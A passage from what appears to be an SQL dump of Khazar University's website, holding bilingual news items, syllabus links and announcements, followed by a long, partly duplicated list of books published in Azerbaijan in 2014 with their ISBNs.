bağlanmış anlaşma memarandumuna əsasən Şəhid Mədəni Universitetininiki\r\ndosenti Nacer Farajzadeh və Amir Hassani Karbasi bir semester ərzində Xəzər\r\nUniversiteti ilə əməkdaşlıq edəcəklər. Nacer Farajzadeh kompüter elmləri və kompüter\r\nmühəndisliyi ixtisasının tələbələrinə müasir\r\nobyekt-yönümlü proqramlaşdırma <em>(Advanced\r\nObject Oriented Programming)</em> və əməliyyat sistemi <em>(Operating System)</em> fənlərini, Amir\r\nHassani Karbasi isə kompüter elmlərində müasir mövzular\r\n(<em>Advanced Topics in Computer\r\nScience)</em> və məlumatın (verilənlərin) strukturu\r\n<em>(Data Structure)</em> fənlərini tədris edəcəklər.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Amir Hassani Karbasi Gilan\r\nUniversitetinin, Nacer Farajzadeh isə Zhejiang Universitetinin doktaranturasını\r\nbitirmişlər.</p>'),(2302,1405,'az','2016-2017','2016-2017','<div><div><br></div><div><a href=\"http://www.khazar.org/files/master/Sillabus%20%20Azerbaijani%20Language%20for%20Foreigners%20.docx\">AZLL 103 Azerbaijani Language for Foreigners</a><br><a href=\"http://www.khazar.org/files/master/Syllabus.En4GraduateStudies.docx\">ENGL 599 English for Graduate Students&nbsp;</a><br><a href=\"http://www.khazar.org/files/master/PHIL-605%20Philosophy.doc\">PHIL 605 Philosophy</a><br></div><br></div>'),(2303,1405,'en','2016-2017','2016-2017','<p><br></p><p><a href=\"http://www.khazar.org/files/master/Sillabus%20%20Azerbaijani%20Language%20for%20Foreigners%20.docx\">AZLL 103 Azerbaijani Language for Foreigners</a>   </p><p><a href=\"http://www.khazar.org/files/master/Syllabus.En4GraduateStudies.docx\">ENGL 599 English for Graduate Students&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/master/PHIL-605%20Philosophy.doc\">PHIL 605 Philosophy</a></p><p><a href=\"http://www.khazar.org/files/master/1F%C9%99ls%C9%99f%C9%99%20(AZ)%202013-2017%20Syllabus.doc\">PHIL 605 General Philosophy</a></p><p><a href=\"http://www.khazar.org/files/master/2F%C9%99ls%C9%99f%C9%99%20%20tarixi(AZ)%202013-2017%20Syllabus.doc\">HPH 606 History of Philosophy</a></p><p><br></p>'),(2307,1406,'en','Seeking Performers for Baku 2017 Islamic Solidarity Games ','You could be a Ceremony Performer in the Opening or Closing Ceremonies of the Baku 2017 4th Islamic Solidarity Games...','<p>You could be a Ceremony Performer in the Opening or Closing\r\nCeremonies of the Baku 2017 4th Islamic Solidarity Games.</p>\r\n<p>The Opening Ceremony will take place on Friday 12th May 2017\r\nand the Closing Ceremony will be on Monday 22nd May 2017.</p>\r\n<p>To register, please see the information on the following\r\nwebsite: <a href=\"http://www.baku2017.com\">www.baku2017.com</a>&nbsp;&nbsp;</p>'),(2309,1407,'az','40-cı və 41-ci məzunluq mərasimi keçiriləcək','2016-cı il oktyabrın 15-də saat 17:00-da Bakı Musiqi Akademiyasının Opera Studiyasında...','<p>2016-cı il\r\noktyabrın 15-də\r\nsaat 17:00-da Bakı Musiqi Akademiyasının Opera Studiyasında (Ünvan: Rəşid\r\nBehbudov küçəsi, 41. Giriş “Music Gallery” və Bakı Jazz Mərkəzinin arasında\r\nyerləşir) 40-cı və 41-ci məzunluq mərasimi&nbsp;keçiriləcək.</p>'),(2308,1407,'en','40th and 41st Graduation Ceremony to be held ','On October 15, 2016 at 17:00, the 40th and 41st Graduation Ceremony of Khazar University will be held at Baku Music Academy’s Opera Studio...','<p>On\r\nOctober 15, 2016 at 17:00, the 40th and 41st Graduation Ceremony of Khazar\r\nUniversity will be held at Baku Music Academy’s Opera Studio (41 Rashid\r\nBehbudov Street; the entrance is between Music Gallery and Baku Jazz Center).</p>'),(1502,939,'az','Nəşrlərin siyahısı','Nəşrlərin siyahısı','<p><strong>BIBLIOGRAPHY: NATIONAL AZERBAIJAN ISBN AGENCY</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>2014 - 2015</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasova, G. Azərbaycan Cəmiyyətinin siyasi təşkilində parlamentin yeri və rolu. Bakı: Xəzər Universiteti nəşriyyatı, 2014. ISBN: 9789952823288</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abbasova, G. Azərbaycan Cəmiyyətinin siyasi təşkilində parlamentin yeri və rolu. Bakı: Xəzər Universiteti nəşriyyatı, 2014. ISBN: 9789952823288</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, B. Diplomatik yazışmanın nəzəri aspektləri. Bakı: Tuna Co., 2014. ISBN: 9789952502008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, B. Diplomatik yazışmanın nəzəri aspektləri. Bakı: Tuna Co., 2014. ISBN: 9789952502008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Andora sevməli və ölməli yerdir. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267013</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Andora sevməli və ölməli yerdir. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267013</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Balkan sindromu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266856</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Balkan sindromu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266856</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların kredosu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266946</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların kredosu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266946</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların qanunu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266818</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Əclafların qanunu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266818</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Qaniçənlər aynası. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267242</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Qaniçənlər aynası. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267242</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Məhşər ayağında. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267440</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Məhşər ayağında. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267440</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Namərdin üslubu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267068</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Namərdin üslubu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952267068</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Prezident ovu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266344</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Prezident ovu. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266344</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Şübhəsiz metamorfoz. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266924</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Şübhəsiz metamorfoz. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266924</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Transilvaniya səfəri. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266917</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Transilvaniya səfəri. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266917</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Uğursuzun hekayəti. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266825</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev, Ç. Uğursuzun hekayəti. Bakı: Qanun nəşriyyatı, Əli və Nino, 2014. ISBN: 9789952266825</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Abdullayev,Ç. Milyardın dəyəri . Bakı : Qanun , 2014 . ISBN : 9789952267846</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adam, O. Qəlbin xilası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adam, O. Qəlbin xilası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267211</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Adil insan&nbsp; .&nbsp;&nbsp; Bakı : Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp;&nbsp;&nbsp; 9789952268591</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağayeva, D. N. Abşeronun mikobiotası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağayeva, D. N. Abşeronun mikobiotası. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağazadə, F. Fevral havası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ağazadə, F. Fevral havası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ahern, S. P.S. Mən səni sevirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266962</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ahern, S. P.S. Mən səni sevirəm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266962</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Axundzadə , D .&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Müşfiqli günlərim&nbsp; .&nbsp; Bakı :&nbsp; Gənclik , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 978-9952-824-56-8</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Alazan vadisinin avarları&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268362</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Altay. Slevin. Bakı: Mütərcim, 2014. ISBN: 9789952281798</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Altay. Slevin. Bakı: Mütərcim, 2014. ISBN: 9789952281798</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anar. Təhminə və Zaur və ya Beşmərtəbəli evin altıncı mərtəbəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266801</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anar. Təhminə və Zaur və ya Beşmərtəbəli evin altıncı mərtəbəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266801</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anjelis , B . Hər bir kişinin qadınlar haqqında bilməli olduğu vacib sirlər&nbsp; . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268249</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anjelis, B. Hər bir qadının kişilər haqqında bilməli olduğu vacib sirlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267617</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Anjelis, B. Hər bir qadının kişilər haqqında bilməli olduğu vacib sirlər. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267617</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arif Cəfər oğlu İsmayılzadə. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495041</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Arif Cəfər oğlu İsmayılzadə. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495041</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Auster, P. Nyu York trilogiyası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Auster, P. Nyu York trilogiyası. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2011, cild 9, No2&nbsp; . Bakı : 2011 . İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2012, cild 10, No2 . Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2013, cild 11, No2 .&nbsp; Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2013, cild 11, No1 .&nbsp; Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2013, cild 10, No1 .&nbsp; Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azərbaycan milli elmlər akademiyası mikrobiologiya institutunun elmi əsərləri 2014, cild 12, No1 . Bakı: İSSN2224-0683</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bahadırsoy, O. Günahdır səni sevmək: bir yasaq məhəbbət hekayəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268157</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bahadırsoy, O. Günahdır səni sevmək: bir yasaq məhəbbət hekayəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268157</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Barbaros Xeyrəddin Paşa .&nbsp; Bakı :&nbsp; Kitab klubu , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952825220</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batman, Ə. Səhər yuxum. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267488</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batman, Ə. Səhər yuxum. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267488</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batur, E. Alma. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267532</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Batur, E. Alma. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267532</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Behbudov, S. Simurq ömrü. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Behbudov, S. Simurq ömrü. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Behrudi , R . Bir dəli ayrılıq kimi . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268799</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bern , R . Sirr&nbsp; . Bakı :&nbsp; Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952267792</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beyli, Ç. Mayın yeddi günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beyli, Ç. Mayın yeddi günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266757</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beynəlxalq&nbsp; münasibətlər .&nbsp; Bakı :&nbsp; Kitab klubu , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952290547&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bilik yarışması. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bilik yarışması. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Blançard,K., Conson , S . Bir dəqiqə idarəçi . Bakı : Qanun , 2014 . ISBN :&nbsp; 9789952268782</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bokkaçço, C. Dekameron: “Qanun” macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267761</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bokkaçço, C. Dekameron: “Qanun” macəraları. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267761</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Borges , J. L . Qum kitabı .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952269017</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. Hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266788</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. Hekayələr. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266788</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. O illərin çörəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267549</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böll, H. O illərin çörəyi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267549</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böyükçöl, K. Səkkizinci gün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267822</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Böyükçöl, K. Səkkizinci gün. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267822</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Braun , D&nbsp; .&nbsp; Cəhənnəm&nbsp; .&nbsp; Bakı : Qanun&nbsp; ,&nbsp; 2014 . ISBN&nbsp; :&nbsp; 9789952268447</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Brea , A. Bir balaca parislinin həyatı . Bakı : Qanun ,&nbsp; 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268553</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bredberi, R. Hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952242027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bredberi, R. Hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952242027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bukovski , C .&nbsp; Poşt idarəsi . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952269000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bukovski , Ç . Qadınlar .&nbsp;&nbsp; Bakı :&nbsp; Qanun&nbsp; , 2014 . 